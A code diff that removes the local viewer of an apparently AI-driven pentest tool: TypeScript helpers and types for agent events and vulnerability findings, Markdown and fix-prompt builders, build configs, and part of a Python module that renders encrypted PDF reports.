if (!url || !url.trim()) return false;
|
||||
|
||||
try {
|
||||
// Add protocol if missing
|
||||
let urlWithProtocol = url.trim();
|
||||
if (!urlWithProtocol.startsWith("http://") && !urlWithProtocol.startsWith("https://")) {
|
||||
urlWithProtocol = `https://${urlWithProtocol}`;
|
||||
}
|
||||
const parsed = new URL(urlWithProtocol);
|
||||
// Check if it has a valid hostname with at least one dot (domain)
|
||||
return Boolean(parsed.hostname) && parsed.hostname.includes(".");
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function isValidDomain(domain: string | null): boolean {
|
||||
if (!domain) return false;
|
||||
|
||||
// Basic domain validation regex
|
||||
const domainRegex = /^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;
|
||||
|
||||
// Check basic format
|
||||
if (!domainRegex.test(domain)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check length constraints
|
||||
if (domain.length > 253) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Must have at least one dot (TLD required)
|
||||
if (!domain.includes(".")) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check each label length (max 63 chars per label)
|
||||
const labels = domain.split(".");
|
||||
for (const label of labels) {
|
||||
if (label.length === 0 || label.length > 63) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// TLD should be at least 2 characters
|
||||
const tld = labels[labels.length - 1];
|
||||
if (tld.length < 2) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
export function formatCurrency(amount: number): string {
|
||||
return new Intl.NumberFormat("en-US", {
|
||||
style: "currency",
|
||||
currency: "USD",
|
||||
minimumFractionDigits: 0,
|
||||
maximumFractionDigits: 0,
|
||||
}).format(amount);
|
||||
}
|
||||
|
||||
export function formatTimeAgo(dateString: string): string {
|
||||
const date = new Date(dateString);
|
||||
const now = new Date();
|
||||
const diffInSeconds = Math.floor((now.getTime() - date.getTime()) / 1000);
|
||||
|
||||
if (diffInSeconds < 60) {
|
||||
return "just now";
|
||||
}
|
||||
if (diffInSeconds < 3600) {
|
||||
const minutes = Math.floor(diffInSeconds / 60);
|
||||
return `${minutes}m ago`;
|
||||
}
|
||||
if (diffInSeconds < 86400) {
|
||||
const hours = Math.floor(diffInSeconds / 3600);
|
||||
return `${hours}h ago`;
|
||||
}
|
||||
if (diffInSeconds < 604800) {
|
||||
const days = Math.floor(diffInSeconds / 86400);
|
||||
return `${days}d ago`;
|
||||
}
|
||||
return formatDate(dateString);
|
||||
}
|
||||
|
||||
export function formatTimeUntil(dateString: string): string {
|
||||
const date = new Date(dateString);
|
||||
const now = new Date();
|
||||
const diffInSeconds = Math.floor((date.getTime() - now.getTime()) / 1000);
|
||||
|
||||
if (diffInSeconds < 0) return "now";
|
||||
if (diffInSeconds < 60) return "in <1m";
|
||||
if (diffInSeconds < 3600) {
|
||||
const minutes = Math.floor(diffInSeconds / 60);
|
||||
return `in ${minutes}m`;
|
||||
}
|
||||
if (diffInSeconds < 86400) {
|
||||
const hours = Math.floor(diffInSeconds / 3600);
|
||||
return `in ${hours}h`;
|
||||
}
|
||||
if (diffInSeconds < 604800) {
|
||||
const days = Math.round(diffInSeconds / 86400);
|
||||
return `in ${days || 1}d`;
|
||||
}
|
||||
return formatDate(dateString);
|
||||
}
|
||||
@@ -1,196 +0,0 @@
|
||||
const LANGUAGE_MAP: Record<string, string> = {
|
||||
js: "javascript", ts: "typescript", tsx: "typescript", jsx: "javascript",
|
||||
py: "python", rb: "ruby", go: "go", rs: "rust", java: "java", php: "php",
|
||||
cs: "csharp", cpp: "cpp", c: "c", sh: "bash", bash: "bash", sql: "sql",
|
||||
html: "html", css: "css", json: "json", yaml: "yaml", yml: "yaml", xml: "xml",
|
||||
};
|
||||
|
||||
export function getLanguageFromFile(filename: string | null | undefined): string | null {
|
||||
if (!filename) return null;
|
||||
const ext = filename.split(".").pop()?.toLowerCase();
|
||||
return ext ? LANGUAGE_MAP[ext] || null : null;
|
||||
}
|
||||
|
||||
export function getSeverityDot(severity: string): string {
|
||||
switch (severity) {
|
||||
case "critical": return "bg-red-500";
|
||||
case "high": return "bg-orange-500";
|
||||
case "medium": return "bg-yellow-500";
|
||||
default: return "bg-blue-500";
|
||||
}
|
||||
}
|
||||
|
||||
import type { Vulnerability } from "@/types/issues";
|
||||
|
||||
export function buildMarkdown(v: Vulnerability): string {
|
||||
const parts: string[] = [];
|
||||
parts.push(`# ${v.title}`);
|
||||
parts.push("");
|
||||
const cwePart = v.cwe && v.cwe.length > 0 ? ` · **CWE:** ${v.cwe.join(", ")}` : "";
|
||||
parts.push(`**Severity:** ${v.severity.toUpperCase()}${v.cvss ? ` · **CVSS:** ${v.cvss}` : ""}${v.cve ? ` · **CVE:** ${v.cve}` : ""}${cwePart}${v.fix_effort ? ` · **Fix Effort:** ${v.fix_effort}` : ""}`);
|
||||
parts.push(`**Status:** ${v.status}`);
|
||||
if (v.target) parts.push(`**Target:** ${v.target}`);
|
||||
if (v.endpoint) parts.push(`**Endpoint:** ${v.method ? `${v.method} ` : ""}${v.endpoint}`);
|
||||
parts.push("");
|
||||
if (v.description) {
|
||||
parts.push("## Description");
|
||||
parts.push("");
|
||||
parts.push(v.description);
|
||||
parts.push("");
|
||||
}
|
||||
if (v.impact) {
|
||||
parts.push("## Impact");
|
||||
parts.push("");
|
||||
parts.push(v.impact);
|
||||
parts.push("");
|
||||
}
|
||||
if (v.evidence) {
|
||||
parts.push("## Evidence");
|
||||
parts.push("");
|
||||
parts.push(v.evidence);
|
||||
parts.push("");
|
||||
}
|
||||
if (v.assumptions) {
|
||||
parts.push("## Assumptions");
|
||||
parts.push("");
|
||||
parts.push(v.assumptions);
|
||||
parts.push("");
|
||||
}
|
||||
if (v.technical_analysis) {
|
||||
parts.push("## Technical Details");
|
||||
parts.push("");
|
||||
parts.push(v.technical_analysis);
|
||||
parts.push("");
|
||||
}
|
||||
if (v.remediation_steps) {
|
||||
parts.push("## How to Fix");
|
||||
parts.push("");
|
||||
parts.push(v.remediation_steps);
|
||||
parts.push("");
|
||||
}
|
||||
if (v.poc_description) {
|
||||
parts.push("## Proof of Concept");
|
||||
parts.push("");
|
||||
parts.push(v.poc_description);
|
||||
if (v.poc_script_code) {
|
||||
parts.push("");
|
||||
parts.push("```");
|
||||
parts.push(v.poc_script_code);
|
||||
parts.push("```");
|
||||
}
|
||||
parts.push("");
|
||||
}
|
||||
if (v.code_locations?.length) {
|
||||
parts.push("## Code Locations");
|
||||
parts.push("");
|
||||
if (v.location_meta) {
|
||||
parts.push(`**Repository:** ${v.location_meta.repo_url} (${v.location_meta.branch})`);
|
||||
parts.push("");
|
||||
}
|
||||
for (const loc of v.code_locations) {
|
||||
if (!loc.file) continue;
|
||||
const lineRef = loc.end_line && loc.end_line !== loc.start_line
|
||||
? `${loc.file}:${loc.start_line}-${loc.end_line}`
|
||||
: `${loc.file}:${loc.start_line}`;
|
||||
parts.push(`### \`${lineRef}\``);
|
||||
if (loc.label) parts.push(loc.label);
|
||||
if (loc.snippet) {
|
||||
parts.push("");
|
||||
parts.push("```");
|
||||
parts.push(loc.snippet);
|
||||
parts.push("```");
|
||||
}
|
||||
if (loc.fix_before && loc.fix_after) {
|
||||
parts.push("");
|
||||
parts.push("```diff");
|
||||
for (const l of loc.fix_before.split("\n")) parts.push(`- ${l}`);
|
||||
for (const l of loc.fix_after.split("\n")) parts.push(`+ ${l}`);
|
||||
parts.push("```");
|
||||
}
|
||||
parts.push("");
|
||||
}
|
||||
} else if (v.code_file && (v.code_before || v.code_after)) {
|
||||
parts.push("## Code");
|
||||
parts.push("");
|
||||
parts.push(`**File:** \`${v.code_file}\``);
|
||||
if (v.code_before && v.code_after) {
|
||||
parts.push("");
|
||||
parts.push("```diff");
|
||||
for (const l of v.code_before.split("\n")) parts.push(`- ${l}`);
|
||||
for (const l of v.code_after.split("\n")) parts.push(`+ ${l}`);
|
||||
parts.push("```");
|
||||
} else if (v.code_diff) {
|
||||
parts.push("");
|
||||
parts.push("```diff");
|
||||
parts.push(v.code_diff);
|
||||
parts.push("```");
|
||||
}
|
||||
parts.push("");
|
||||
}
|
||||
return parts.join("\n");
|
||||
}
|
||||
|
||||
export function buildAIFixPrompt(v: Vulnerability): string {
|
||||
const parts: string[] = [];
|
||||
parts.push("This is a security vulnerability found during a code review.");
|
||||
parts.push("");
|
||||
parts.push(`Vulnerability: ${v.title}`);
|
||||
parts.push(`Severity: ${v.severity.toUpperCase()}`);
|
||||
if (v.cwe && v.cwe.length > 0) {
|
||||
parts.push(`CWE: ${v.cwe.join(", ")}`);
|
||||
}
|
||||
parts.push("");
|
||||
parts.push(v.description);
|
||||
|
||||
if (v.evidence) {
|
||||
parts.push("");
|
||||
parts.push("Evidence:");
|
||||
parts.push(v.evidence);
|
||||
}
|
||||
|
||||
const allLocations = v.code_locations || [];
|
||||
for (const fixLoc of allLocations) {
|
||||
if (!fixLoc.file) continue;
|
||||
const startLine = fixLoc.start_line || 0;
|
||||
const endLine = fixLoc.end_line || startLine;
|
||||
parts.push("");
|
||||
parts.push(`Location: ${fixLoc.file}:${startLine}-${endLine}`);
|
||||
if (fixLoc.label) {
|
||||
parts.push(`Context: ${fixLoc.label}`);
|
||||
}
|
||||
if (fixLoc.fix_before && fixLoc.fix_after) {
|
||||
parts.push("```");
|
||||
parts.push(`// Before:\n${fixLoc.fix_before}`);
|
||||
parts.push(`// After:\n${fixLoc.fix_after}`);
|
||||
parts.push("```");
|
||||
} else if (fixLoc.snippet) {
|
||||
parts.push("```");
|
||||
parts.push(fixLoc.snippet);
|
||||
parts.push("```");
|
||||
}
|
||||
}
|
||||
|
||||
if (v.remediation_steps) {
|
||||
parts.push("");
|
||||
parts.push("How to fix:");
|
||||
parts.push(v.remediation_steps);
|
||||
}
|
||||
parts.push("");
|
||||
parts.push("Please fix this vulnerability. If you propose a fix, make it concise and minimal.");
|
||||
return parts.join("\n");
|
||||
}
|
||||
|
||||
export async function copyToClipboard(text: string): Promise<void> {
|
||||
try {
|
||||
await navigator.clipboard.writeText(text);
|
||||
} catch {
|
||||
const ta = document.createElement("textarea");
|
||||
ta.value = text;
|
||||
ta.style.position = "absolute";
|
||||
ta.style.left = "-9999px";
|
||||
document.body.appendChild(ta);
|
||||
ta.select();
|
||||
document.execCommand("copy");
|
||||
document.body.removeChild(ta);
|
||||
}
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
import { StrictMode } from "react";
|
||||
import { createRoot } from "react-dom/client";
|
||||
import App from "./App";
|
||||
import "./index.css";
|
||||
|
||||
createRoot(document.getElementById("root")!).render(
|
||||
<StrictMode>
|
||||
<App />
|
||||
</StrictMode>
|
||||
);
|
||||
@@ -1,16 +0,0 @@
|
||||
// Local stub of the strix-app auth store. The local viewer has no accounts:
|
||||
// there is never a signed-in user and no feature is entitled, so every upsell
|
||||
// CTA routes to the external cloud sign-up link.
|
||||
interface AuthState {
|
||||
user: null;
|
||||
hasFeature: (feature: string) => boolean;
|
||||
}
|
||||
|
||||
const STATE: AuthState = {
|
||||
user: null,
|
||||
hasFeature: () => false,
|
||||
};
|
||||
|
||||
export function useAuthStore<T>(selector: (s: AuthState) => T): T {
|
||||
return selector(STATE);
|
||||
}
|
||||
@@ -1,102 +0,0 @@
|
||||
// Types matching the Python tracer's event shapes stored in Convex
|
||||
|
||||
export type EventType =
|
||||
| "run.started"
|
||||
| "run.configured"
|
||||
| "run.completed"
|
||||
| "agent.created"
|
||||
| "agent.status.updated"
|
||||
| "tool.execution.started"
|
||||
| "tool.execution.updated"
|
||||
| "chat.message"
|
||||
| "finding.created"
|
||||
| "finding.reviewed"
|
||||
| "traffic.batch";
|
||||
|
||||
export interface EventActor {
|
||||
agent_id?: string;
|
||||
agent_name?: string;
|
||||
tool_name?: string;
|
||||
execution_id?: number;
|
||||
role?: string;
|
||||
}
|
||||
|
||||
export interface ConvexEvent {
|
||||
_id: string;
|
||||
_creationTime: number;
|
||||
timestamp: string;
|
||||
event_type: EventType;
|
||||
run_id: string;
|
||||
trace_id?: string | null;
|
||||
span_id?: string | null;
|
||||
parent_span_id?: string | null;
|
||||
actor: EventActor | null;
|
||||
payload: Record<string, unknown> | null;
|
||||
status: string | null;
|
||||
error: unknown | null;
|
||||
source?: string;
|
||||
run_metadata?: RunMetadata;
|
||||
}
|
||||
|
||||
export interface RunMetadata {
|
||||
run_id: string;
|
||||
run_name: string | null;
|
||||
start_time: string;
|
||||
end_time: string | null;
|
||||
targets: string[];
|
||||
status: string;
|
||||
user_instructions?: string;
|
||||
max_iterations?: number;
|
||||
}
|
||||
|
||||
export interface AgentNode {
|
||||
id: string;
|
||||
name: string;
|
||||
task: string;
|
||||
status: "running" | "completed" | "failed" | "error";
|
||||
parentId: string | null;
|
||||
children: string[];
|
||||
createdAt: string;
|
||||
toolCount: number;
|
||||
messageCount: number;
|
||||
}
|
||||
|
||||
export interface ToolExecution {
|
||||
executionId: number;
|
||||
agentId: string;
|
||||
toolName: string;
|
||||
args: Record<string, unknown>;
|
||||
result: unknown;
|
||||
status: "running" | "completed" | "failed" | "error";
|
||||
startedAt: string;
|
||||
completedAt: string | null;
|
||||
}
|
||||
|
||||
export interface ChatMessage {
|
||||
messageId: number;
|
||||
agentId: string | null;
|
||||
role: string;
|
||||
content: string;
|
||||
timestamp: string;
|
||||
metadata: Record<string, unknown>;
|
||||
}
|
||||
|
||||
export interface Finding {
|
||||
id: string;
|
||||
title: string;
|
||||
severity: "critical" | "high" | "medium" | "low";
|
||||
description?: string;
|
||||
target?: string;
|
||||
endpoint?: string;
|
||||
method?: string;
|
||||
cvss?: number;
|
||||
cve?: string;
|
||||
timestamp: string;
|
||||
}
|
||||
|
||||
export interface ToolRendererProps {
|
||||
toolName: string;
|
||||
args: Record<string, unknown>;
|
||||
result: unknown;
|
||||
status: "running" | "completed" | "failed" | "error";
|
||||
}
|
||||
@@ -1,197 +0,0 @@
|
||||
export type VulnerabilitySeverity = "critical" | "high" | "medium" | "low";
|
||||
export type VulnerabilityStatus = "open" | "in_progress" | "snoozed" | "fixed" | "ignored";
|
||||
export type FixEffort = "trivial" | "low" | "medium" | "high";
|
||||
|
||||
export const ACTIVE_STATUSES: VulnerabilityStatus[] = ["open", "in_progress", "snoozed"];
|
||||
export const RESOLVED_STATUSES: VulnerabilityStatus[] = ["fixed", "ignored"];
|
||||
|
||||
// Statuses worth retesting in a "retest all" — everything except ignored
|
||||
// (fixed issues are still re-verified; ignored issues are intentionally skipped).
|
||||
export const RETESTABLE_STATUSES: VulnerabilityStatus[] = ["open", "in_progress", "snoozed", "fixed"];
|
||||
|
||||
export const ALL_STATUSES: VulnerabilityStatus[] = ["open", "in_progress", "snoozed", "fixed", "ignored"];
|
||||
|
||||
export interface StatusCounts {
|
||||
all: number;
|
||||
open: number;
|
||||
in_progress: number;
|
||||
snoozed: number;
|
||||
fixed: number;
|
||||
ignored: number;
|
||||
}
|
||||
|
||||
export interface StatusMeta {
|
||||
label: string;
|
||||
color: string;
|
||||
dotColor: string;
|
||||
description: string;
|
||||
}
|
||||
|
||||
export const STATUS_META: Record<VulnerabilityStatus, StatusMeta> = {
|
||||
open: {
|
||||
label: "Open",
|
||||
color: "bg-red-500/10 text-red-400 border-red-500/20",
|
||||
dotColor: "bg-red-500",
|
||||
description: "Newly discovered, awaiting triage",
|
||||
},
|
||||
in_progress: {
|
||||
label: "In Progress",
|
||||
color: "bg-blue-500/10 text-blue-400 border-blue-500/20",
|
||||
dotColor: "bg-blue-500",
|
||||
description: "Someone is working on this",
|
||||
},
|
||||
snoozed: {
|
||||
label: "Snoozed",
|
||||
color: "bg-purple-500/10 text-purple-400 border-purple-500/20",
|
||||
dotColor: "bg-purple-500",
|
||||
description: "Temporarily hidden until a follow-up date",
|
||||
},
|
||||
fixed: {
|
||||
label: "Fixed",
|
||||
color: "bg-emerald-500/10 text-emerald-400 border-emerald-500/20",
|
||||
dotColor: "bg-emerald-500",
|
||||
description: "This vulnerability has been fixed",
|
||||
},
|
||||
ignored: {
|
||||
label: "Ignored",
|
||||
color: "bg-gray-500/10 text-gray-400 border-gray-500/20",
|
||||
dotColor: "bg-gray-500",
|
||||
description: "Acknowledged but accepted",
|
||||
},
|
||||
};
|
||||
|
||||
export const FIX_EFFORT_META: Record<FixEffort, { label: string; color: string }> = {
|
||||
trivial: { label: "Trivial", color: "bg-emerald-500/10 text-emerald-400 border-emerald-500/20" },
|
||||
low: { label: "Low", color: "bg-blue-500/10 text-blue-400 border-blue-500/20" },
|
||||
medium: { label: "Medium", color: "bg-yellow-500/10 text-yellow-400 border-yellow-500/20" },
|
||||
high: { label: "High", color: "bg-orange-500/10 text-orange-400 border-orange-500/20" },
|
||||
};
|
||||
|
||||
export interface CodeLocation {
|
||||
file: string;
|
||||
start_line: number;
|
||||
end_line?: number;
|
||||
snippet?: string;
|
||||
label?: string;
|
||||
fix_before?: string;
|
||||
fix_after?: string;
|
||||
}
|
||||
|
||||
export interface CVSSBreakdown {
|
||||
attack_vector: string | null;
|
||||
attack_complexity: string | null;
|
||||
privileges_required: string | null;
|
||||
user_interaction: string | null;
|
||||
scope: string | null;
|
||||
confidentiality: string | null;
|
||||
integrity: string | null;
|
||||
availability: string | null;
|
||||
}
|
||||
|
||||
export interface Vulnerability {
|
||||
id: string;
|
||||
scan_id: string | null;
|
||||
pr_review_id: string | null;
|
||||
title: string;
|
||||
description: string;
|
||||
cve: string | null;
|
||||
cvss: number | null;
|
||||
created_at: string;
|
||||
potential_risk_saving: number | null;
|
||||
risk_saving_description: string | null;
|
||||
status: VulnerabilityStatus;
|
||||
severity: VulnerabilitySeverity;
|
||||
impact: string | null;
|
||||
endpoint: string | null;
|
||||
method: string | null;
|
||||
target: string | null;
|
||||
technical_analysis: string | null;
|
||||
poc_description: string | null;
|
||||
poc_script_code: string | null;
|
||||
code_diff: string | null;
|
||||
code_file: string | null;
|
||||
code_before: string | null;
|
||||
code_after: string | null;
|
||||
cwe: string[] | null;
|
||||
code_locations: CodeLocation[] | null;
|
||||
remediation_steps: string | null;
|
||||
fix_pr_body: string | null;
|
||||
evidence: string | null;
|
||||
assumptions: string | null;
|
||||
fix_effort: FixEffort | null;
|
||||
cvss_breakdown: CVSSBreakdown | null;
|
||||
status_changed_at: string | null;
|
||||
status_changed_by: string | null;
|
||||
status_note: string | null;
|
||||
snoozed_until: string | null;
|
||||
reopened_at: string | null;
|
||||
reopened_by: string | null;
|
||||
original_severity: VulnerabilitySeverity | null;
|
||||
severity_changed_at: string | null;
|
||||
severity_changed_by: string | null;
|
||||
severity_override_reason: string | null;
|
||||
retest_of_vulnerability_id: string | null;
|
||||
slack_thread_url?: string;
|
||||
display_number?: number | null;
|
||||
location_meta?: {
|
||||
branch: string;
|
||||
provider: string;
|
||||
repo_url: string;
|
||||
} | null;
|
||||
fix_pr_eligible?: boolean;
|
||||
fix_pr_reason?: string | null;
|
||||
fix_pr_url?: string | null;
|
||||
}
|
||||
|
||||
export interface VulnerabilityFilters {
|
||||
scan_id?: string;
|
||||
severity?: VulnerabilitySeverity;
|
||||
status?: VulnerabilityStatus;
|
||||
search?: string;
|
||||
sortBy?: "cvss" | "created_at";
|
||||
sortOrder?: "asc" | "desc";
|
||||
domain_id?: string;
|
||||
repository_id?: string;
|
||||
}
|
||||
|
||||
export interface VulnerabilityAction {
|
||||
type: "status_change" | "generate_report" | "create_ticket";
|
||||
notes?: string;
|
||||
verification?: string;
|
||||
reason?: string;
|
||||
explanation?: string;
|
||||
report_type?: string;
|
||||
system?: string;
|
||||
priority?: string;
|
||||
assignee?: string;
|
||||
timestamp: string;
|
||||
}
|
||||
|
||||
export const SEVERITY_COLORS: Record<VulnerabilitySeverity, string> = {
|
||||
critical: "bg-red-500/20 text-red-500 border-red-500/30",
|
||||
high: "bg-orange-500/20 text-orange-500 border-orange-500/30",
|
||||
medium: "bg-yellow-500/20 text-yellow-500 border-yellow-500/30",
|
||||
low: "bg-blue-500/20 text-blue-500 border-blue-500/30",
|
||||
};
|
||||
|
||||
export const STATUS_COLORS: Record<VulnerabilityStatus, string> = {
|
||||
open: STATUS_META.open.color,
|
||||
in_progress: STATUS_META.in_progress.color,
|
||||
snoozed: STATUS_META.snoozed.color,
|
||||
fixed: STATUS_META.fixed.color,
|
||||
ignored: STATUS_META.ignored.color,
|
||||
};
|
||||
|
||||
export function isSeverityOverridden(
|
||||
v: Pick<Vulnerability, "original_severity" | "severity">
|
||||
): boolean {
|
||||
return v.original_severity != null && v.original_severity !== v.severity;
|
||||
}
|
||||
|
||||
export function formatCvssLabel(cvss: number | null): string {
|
||||
if (cvss === null) return "N/A";
|
||||
if (cvss >= 9.0) return "Critical";
|
||||
if (cvss >= 7.0) return "High";
|
||||
if (cvss >= 4.0) return "Medium";
|
||||
return "Low";
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"target": "ES2022",
|
||||
"useDefineForClassFields": true,
|
||||
"lib": ["ES2022", "DOM", "DOM.Iterable"],
|
||||
"module": "ESNext",
|
||||
"skipLibCheck": true,
|
||||
"moduleResolution": "bundler",
|
||||
"allowImportingTsExtensions": true,
|
||||
"resolveJsonModule": true,
|
||||
"isolatedModules": true,
|
||||
"moduleDetection": "force",
|
||||
"noEmit": true,
|
||||
"jsx": "react-jsx",
|
||||
"strict": true,
|
||||
"noUnusedLocals": false,
|
||||
"noUnusedParameters": false,
|
||||
"noFallthroughCasesInSwitch": true,
|
||||
"baseUrl": ".",
|
||||
"paths": {
|
||||
"@/*": ["./src/*"]
|
||||
}
|
||||
},
|
||||
"include": ["src"]
|
||||
}
|
||||
@@ -1,21 +0,0 @@
|
||||
import { defineConfig } from "vite";
|
||||
import react from "@vitejs/plugin-react";
|
||||
import tailwindcss from "@tailwindcss/vite";
|
||||
import { fileURLToPath, URL } from "node:url";
|
||||
|
||||
// The viewer is served as static files by a stdlib Python server on an
|
||||
// arbitrary ephemeral port, so all asset URLs must be relative (base: "./").
|
||||
// The build output is committed at strix/viewer/static and shipped.
|
||||
export default defineConfig({
|
||||
base: "./",
|
||||
plugins: [react(), tailwindcss()],
|
||||
resolve: {
|
||||
alias: {
|
||||
"@": fileURLToPath(new URL("./src", import.meta.url)),
|
||||
},
|
||||
},
|
||||
build: {
|
||||
outDir: "../static",
|
||||
emptyOutDir: true,
|
||||
},
|
||||
});
|
||||
@@ -1,618 +0,0 @@
|
||||
"""Build and encrypt a branded PDF report for a run.
|
||||
|
||||
The layout mirrors the Strix cloud pentest report (cover page, executive
|
||||
severity grid, per-finding detail with colored severity badges) but is rendered
|
||||
entirely locally with reportlab, so it ships without a browser or heavy system
|
||||
deps and keeps the report on the user's machine.
|
||||
|
||||
The PDF carries FULL finding detail, including proof-of-concept scripts, so it
|
||||
is encrypted end to end with AES-256. The password is generated locally with a
|
||||
CSPRNG, shown only to the local browser, and never leaves the machine except in
|
||||
the user's own hands. Strix cannot read the delivered report.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import html
|
||||
import re
|
||||
import secrets
|
||||
from datetime import datetime
|
||||
from io import BytesIO
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from pypdf import PdfReader, PdfWriter
|
||||
from reportlab.lib import colors
|
||||
from reportlab.lib.enums import TA_CENTER
|
||||
from reportlab.lib.pagesizes import A4
|
||||
from reportlab.lib.styles import ParagraphStyle
|
||||
from reportlab.lib.units import mm
|
||||
from reportlab.pdfgen import canvas as pdfcanvas
|
||||
from reportlab.platypus import (
|
||||
Flowable,
|
||||
KeepTogether,
|
||||
PageBreak,
|
||||
Paragraph,
|
||||
SimpleDocTemplate,
|
||||
Spacer,
|
||||
Table,
|
||||
TableStyle,
|
||||
)
|
||||
|
||||
from strix.viewer.transcript import (
|
||||
primary_target,
|
||||
read_run_summary,
|
||||
read_vulnerabilities,
|
||||
severity_counts,
|
||||
)
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
# Palette lifted from the cloud report theme (styles/base.ts, docx/theme.ts).
|
||||
_INK = colors.HexColor("#000000")
|
||||
_TEXT = colors.HexColor("#1a1a1a")
|
||||
_MUTED = colors.HexColor("#666666")
|
||||
_FAINT = colors.HexColor("#999999")
|
||||
_BORDER = colors.HexColor("#e5e5e5")
|
||||
_LIGHT_BG = colors.HexColor("#f7f7f7")
|
||||
|
||||
_SEVERITY_ORDER = ("critical", "high", "medium", "low")
|
||||
_SEVERITY_COLORS = {
|
||||
"critical": colors.HexColor("#dc2626"),
|
||||
"high": colors.HexColor("#ea580c"),
|
||||
"medium": colors.HexColor("#ca8a04"),
|
||||
"low": colors.HexColor("#2563eb"),
|
||||
}
|
||||
|
||||
# Helvetica stands in for Geist: a clean sans with no font file to ship.
|
||||
_SANS = "Helvetica"
|
||||
_SANS_BOLD = "Helvetica-Bold"
|
||||
_MONO = "Courier"
|
||||
|
||||
_PAGE_W, _PAGE_H = A4
|
||||
|
||||
|
||||
def _esc(value: Any) -> str:
|
||||
"""Escape a value for reportlab's Paragraph markup."""
|
||||
return html.escape(str(value)).replace("\n", "<br/>")
|
||||
|
||||
|
||||
class _NumberedCanvas(pdfcanvas.Canvas): # type: ignore[misc] # reportlab base is untyped
|
||||
"""Two-pass canvas that prints 'Page X of Y' on every page after the cover."""
|
||||
|
||||
def __init__(self, *args: Any, **kwargs: Any) -> None:
|
||||
super().__init__(*args, **kwargs)
|
||||
self._saved_states: list[dict[str, Any]] = []
|
||||
|
||||
def showPage(self) -> None: # noqa: N802 - reportlab API
|
||||
self._saved_states.append(dict(self.__dict__))
|
||||
self._startPage()
|
||||
|
||||
def save(self) -> None:
|
||||
total = len(self._saved_states)
|
||||
for index, state in enumerate(self._saved_states):
|
||||
self.__dict__.update(state)
|
||||
if index > 0: # skip the cover page
|
||||
self._draw_footer(index + 1, total)
|
||||
super().showPage()
|
||||
super().save()
|
||||
|
||||
def _draw_footer(self, page: int, total: int) -> None:
|
||||
self.setFont(_SANS, 8)
|
||||
self.setFillColor(_FAINT)
|
||||
self.drawCentredString(_PAGE_W / 2, 14 * mm, f"Page {page} of {total}")
|
||||
|
||||
|
||||
class _LogoMark(Flowable): # type: ignore[misc] # reportlab base is untyped
|
||||
"""The rounded-square Strix mark drawn inline (no raster asset to ship)."""
|
||||
|
||||
def __init__(self, size: float = 30) -> None:
|
||||
super().__init__()
|
||||
self.size = size
|
||||
self.width = size
|
||||
self.height = size
|
||||
|
||||
def draw(self) -> None:
|
||||
c = self.canv
|
||||
s = self.size
|
||||
c.setFillColor(_INK)
|
||||
c.roundRect(0, 0, s, s, s * 0.28, fill=1, stroke=0)
|
||||
c.setFillColor(colors.white)
|
||||
c.setFont(_SANS_BOLD, s * 0.56)
|
||||
c.drawCentredString(s / 2, s * 0.27, "S")
|
||||
|
||||
|
||||
def _styles() -> dict[str, ParagraphStyle]:
|
||||
styles: dict[str, ParagraphStyle] = {}
|
||||
styles["wordmark"] = ParagraphStyle(
|
||||
"Wordmark", fontName=_SANS_BOLD, fontSize=17, leading=20, textColor=_INK
|
||||
)
|
||||
styles["badge_label"] = ParagraphStyle(
|
||||
"BadgeLabel", fontName=_SANS_BOLD, fontSize=9, leading=12, textColor=_MUTED
|
||||
)
|
||||
styles["cover_title"] = ParagraphStyle(
|
||||
"CoverTitle", fontName=_SANS_BOLD, fontSize=34, leading=38, textColor=_INK
|
||||
)
|
||||
styles["cover_org"] = ParagraphStyle(
|
||||
"CoverOrg", fontName=_SANS, fontSize=13, leading=18, textColor=_MUTED
|
||||
)
|
||||
styles["meta_label"] = ParagraphStyle(
|
||||
"MetaLabel", fontName=_SANS_BOLD, fontSize=8, leading=12, textColor=_MUTED
|
||||
)
|
||||
styles["meta_value"] = ParagraphStyle(
|
||||
"MetaValue", fontName=_SANS, fontSize=10.5, leading=14, textColor=_TEXT
|
||||
)
|
||||
styles["section"] = ParagraphStyle(
|
||||
"Section", fontName=_SANS_BOLD, fontSize=18, leading=22, textColor=_INK, spaceAfter=6
|
||||
)
|
||||
styles["finding"] = ParagraphStyle(
|
||||
"Finding", fontName=_SANS_BOLD, fontSize=13, leading=17, textColor=_INK, spaceBefore=6
|
||||
)
|
||||
styles["field_label"] = ParagraphStyle(
|
||||
"FieldLabel", fontName=_SANS_BOLD, fontSize=8.5, leading=12, textColor=_MUTED,
|
||||
spaceBefore=10, spaceAfter=2,
|
||||
)
|
||||
styles["body"] = ParagraphStyle(
|
||||
"Body", fontName=_SANS, fontSize=10, leading=15, textColor=_TEXT, spaceAfter=8
|
||||
)
|
||||
styles["md_heading"] = ParagraphStyle(
|
||||
"MdHeading", fontName=_SANS_BOLD, fontSize=11, leading=15, textColor=_INK,
|
||||
spaceBefore=10, spaceAfter=4,
|
||||
)
|
||||
styles["bullet"] = ParagraphStyle(
|
||||
"Bullet", fontName=_SANS, fontSize=10, leading=15, textColor=_TEXT,
|
||||
leftIndent=16, firstLineIndent=-11, spaceAfter=3,
|
||||
)
|
||||
styles["meta_inline"] = ParagraphStyle(
|
||||
"MetaInline", fontName=_SANS, fontSize=9, leading=13, textColor=_MUTED, spaceBefore=4
|
||||
)
|
||||
# spaceBefore/spaceAfter must exceed borderPadding: reportlab does not reserve
|
||||
# a bordered paragraph's top padding, so too small a gap lets the background
|
||||
# box bleed up over the field label above it.
|
||||
styles["code"] = ParagraphStyle(
|
||||
"Code", fontName=_MONO, fontSize=8, leading=11, textColor=_TEXT,
|
||||
